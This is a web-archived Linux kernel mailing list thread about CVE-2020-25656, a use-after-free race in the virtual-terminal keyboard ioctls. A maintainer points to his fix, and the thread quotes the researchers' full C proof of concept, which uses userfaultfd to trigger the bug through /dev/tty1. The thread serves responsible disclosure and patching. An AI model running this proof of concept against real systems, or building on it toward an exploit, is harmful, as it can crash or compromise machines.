All of lore.kernel.org
 help / color / mirror / Atom feed
* Re: [oss-security] CVE-2020-25656: Linux kernel concurrency UAF in vt_do_kdgkb_ioctl
       [not found] <CAH5WSp4F5HZfN9VASpJKgBuuN3QM3HrVbcW8jOhjocwcGqkJYw () mail ! gmail ! com>
@ 2020-10-16  6:58 ` Jiri Slaby
  2020-10-16  7:03   ` Greg KH
  0 siblings, 1 reply; 2+ messages in thread
From: Jiri Slaby @ 2020-10-16  6:58 UTC (permalink / raw)
  To: Minh Yuan, oss-security, Greg KH, Linux kernel mailing list

Cc Greg.

On 16. 10. 20, 5:39, Minh Yuan wrote:
> Hi,
> 
> We recently discovered a uaf read in vt_do_kdgkb_ioctl from linux kernel
> version 3.4 to the latest version (v5.9 for now).
> 
> The root cause of this vulnerability is that there exits a race in
> KDGKBSENT and KDSKBSENT.
> 
> Here are details:
> 1. use  KDSKBSENT to allocate a lager heap buffer to funcbufptr;
> 2. use KDGKBSENT to obtain the allocated heap pointer in step1 by
> func_table, at the same time, due to KDGKBSENT has no lock, we can use
> KDSKBSENT again to allocate a larger buffer than step1, and the old
> funcbufptr will be freed. However, we've obtained the heap pointer in
> KDGKBSENT, so a uaf read will happen while executing put_user.

Hi,

this is likely the issue I am fixing at:
https://git.kernel.org/pub/scm/linux/kernel/git/jirislaby/linux.git/commit/?h=devel&id=57c85191e788e172a446e34ef77d34473cfb1e8d

I think, it won't apply cleanly as it's a part of a larger set. I will 
reorder the patch and send something during the day.

Thanks.

> I've successfully reproduced this bug in a special way.
> However, to write a universal PoC for anyone else to reproduce it,  I use
> userfaultfd to handle the order of "free" and "use" in multithreading
> environment. This is my PoC:
> 
> // author by ziiiro@thu
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <sys/ioctl.h>
> #include <string.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <sys/mman.h>
> #include <poll.h>
> #include <pthread.h>
> #include <errno.h>
> #include <stdlib.h>
> #include <signal.h>
> #include <string.h>
> #include <sys/syscall.h>
> #include <linux/userfaultfd.h>
> #include <pthread.h>
> #include <poll.h>
> #include <linux/prctl.h>
> #include <stdint.h>
> 
> #define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
>                         } while (0)
> 
> #define KDGKBSENT 0x4B48 /* gets one function key string entry */
> #define KDSKBSENT 0x4B49 /* sets one function key string entry */
> 
> struct kbsentry {
> unsigned char kb_func;
> unsigned char kb_string[512];
> };
> int fd;
> static int page_size;
> static void *fault_handler_thread(void *arg) {
>    unsigned long value;
>    static struct uffd_msg msg;
>    static int fault_cnt = 0;
>    long uffd;
>    static char *page = NULL;
>    struct uffdio_copy uffdio_copy;
>    int len, i;
>    if (page == NULL) {
>      page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
>                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
>      if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
>    }
>    uffd = (long)arg;
> 
>    for(;;) {
>      struct pollfd pollfd;
>      pollfd.fd = uffd;
>      pollfd.events = POLLIN;
>      len = poll(&pollfd, 1, -1);
> 
> 
>      read(uffd, &msg, sizeof(msg));
>      printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
>      printf("    address = 0x%lx\n", msg.arg.pagefault.address);
>      switch(fault_cnt) {
>          case 0:
>              puts("triggered in the first page!");
>              break;
>          case 1:
>              puts("triggered in the seccond page!");
>              munmap((void*)0x233000,page_size);
>              void *addr = (void*)mmap((void*)0x233000,
>                          page_size,
>                          PROT_READ | PROT_WRITE,
>                          MAP_FIXED | MAP_PRIVATE | MAP_ANON,
>                          -1, 0);
>              if ((unsigned long)addr != 0x233000)
>                  errExit("mmap (0x233000)");
>              // register 0x233000 again to trigger put_user
>              struct uffdio_register uffdio_register;
>              uffdio_register.range.start = (unsigned long)addr;
>              uffdio_register.range.len   = page_size;
>              uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
>              if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
>                  errExit("ioctl: UFFDIO_REGITER");
>              break;
>          case 2:
>              puts("triggered in put_user!");
>              struct kbsentry *kbs;
>              kbs = malloc(sizeof(struct kbsentry));
>              kbs->kb_func = 0;
> 
> strcpy(kbs->kb_string,"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbb");
>              // free old funcbufptr
>              ioctl(fd,KDSKBSENT,kbs);
>              break;
> 
>      }
>      // return to kernel-land
>      uffdio_copy.src = (unsigned long)page;
>      uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
> ~(page_size - 1);
>      uffdio_copy.len = page_size;
>      uffdio_copy.mode = 0;
>      uffdio_copy.copy = 0;
>      if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
>          errExit("ioctl: UFFDIO_COPY");
> 
>      fault_cnt++;
> 
>    }
> }
> // use userfaultfd to handle free->use
> void setup_pagefault(void *addr, unsigned size) {
>    long uffd;
>    pthread_t th;
>    struct uffdio_api uffdio_api;
>    struct uffdio_register uffdio_register;
>    int s;
>    // new userfaulfd
> 
>    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
>    if (uffd == -1) errExit("userfaultfd");
>    // enabled uffd object
>    uffdio_api.api = UFFD_API;
>    uffdio_api.features = 0;
>    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
> UFFDIO_API");
>    // register memory address
>    uffdio_register.range.start = (unsigned long)addr;
>    uffdio_register.range.len   = size;
>    uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
> //UFFDIO_REGISTER_MODE_WP;//
>    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("io=
> ctl:
> UFFDIO_REGITER");
>    // monitor page fault
>    s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
>    if (s != 0) errExit("pthread_create");
> }
> 
> 
> int main(int argc, char** argv)
> {
>          struct kbsentry *kbs;
>          pthread_t th;
>          page_size = sysconf(_SC_PAGE_SIZE);
>          void *addr = (void*)mmap((void*)0x233000,
>                              page_size * 2,
>                              PROT_READ | PROT_WRITE,
>                              MAP_FIXED | MAP_PRIVATE | MAP_ANON,
>                              -1, 0);
>          if ((unsigned long)addr != 0x233000)
>              errExit("mmap (0x233000)");
>          setup_pagefault(addr, page_size * 2);
>          kbs = malloc(sizeof(struct kbsentry));
>          kbs->kb_func = 0;
>          fd = open("/dev/tty1", O_RDONLY, 0);
> 
> strcpy(kbs->kb_string,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
> a");
>          // allocate a lager funcbufptr
>          ioctl(fd,KDSKBSENT,kbs);
>          // use KDGKBSENT to access the new funcbufptr
>          ioctl(fd,KDGKBSENT,addr + page_size - 0x20);
>          return 1;
> 
> }
> 
> Make sure set KASAN in config, and to use userfaultfd, CONFIG_USERFAULTFD=y
> is also needed. Besides, it needs the privilege to access tty to trigger
> this bug.
> 
> We've noticed that this bug was also discovered by Syzbot 8 months ago, but
> no one has successfully reproduced it (
> https://groups.google.com/g/syzkaller-bugs/c/kZsmxkpq3UI/m/J35PFexWBgAJ),
> leaving this issue ignored and upatched yet. Hope this PoC can help
> someone.
> 
> Timeline:
> * 10.15.20 - Vulnerability reported to security@kernel.org and
> linux-distros@vs.openwall.org.
> * 10.15.20 - CVE-2020-25656 assigned.
> * 10.16.20 - Vulnerability opened.
> 
> Thanks,
> Yuan Ming and Bodong Zhao, Tsinghua University
> 


-- 
js
suse labs

^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: [oss-security] CVE-2020-25656: Linux kernel concurrency UAF in vt_do_kdgkb_ioctl
  2020-10-16  6:58 ` [oss-security] CVE-2020-25656: Linux kernel concurrency UAF in vt_do_kdgkb_ioctl Jiri Slaby
@ 2020-10-16  7:03   ` Greg KH
  0 siblings, 0 replies; 2+ messages in thread
From: Greg KH @ 2020-10-16  7:03 UTC (permalink / raw)
  To: Jiri Slaby; +Cc: Minh Yuan, oss-security, Linux kernel mailing list

On Fri, Oct 16, 2020 at 08:58:34AM +0200, Jiri Slaby wrote:
> Cc Greg.
> 
> On 16. 10. 20, 5:39, Minh Yuan wrote:
> > Hi,
> > 
> > We recently discovered a uaf read in vt_do_kdgkb_ioctl from linux kernel
> > version 3.4 to the latest version (v5.9 for now).
> > 
> > The root cause of this vulnerability is that there exits a race in
> > KDGKBSENT and KDSKBSENT.
> > 
> > Here are details:
> > 1. use  KDSKBSENT to allocate a lager heap buffer to funcbufptr;
> > 2. use KDGKBSENT to obtain the allocated heap pointer in step1 by
> > func_table, at the same time, due to KDGKBSENT has no lock, we can use
> > KDSKBSENT again to allocate a larger buffer than step1, and the old
> > funcbufptr will be freed. However, we've obtained the heap pointer in
> > KDGKBSENT, so a uaf read will happen while executing put_user.
> 
> Hi,
> 
> this is likely the issue I am fixing at:
> https://git.kernel.org/pub/scm/linux/kernel/git/jirislaby/linux.git/commit/?h=devel&id=57c85191e788e172a446e34ef77d34473cfb1e8d
> 
> I think, it won't apply cleanly as it's a part of a larger set. I will
> reorder the patch and send something during the day.

Great, thanks for looking into this!

greg k-h

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2020-10-16  7:03 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
     [not found] <CAH5WSp4F5HZfN9VASpJKgBuuN3QM3HrVbcW8jOhjocwcGqkJYw () mail ! gmail ! com>
2020-10-16  6:58 ` [oss-security] CVE-2020-25656: Linux kernel concurrency UAF in vt_do_kdgkb_ioctl Jiri Slaby
2020-10-16  7:03   ` Greg KH

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.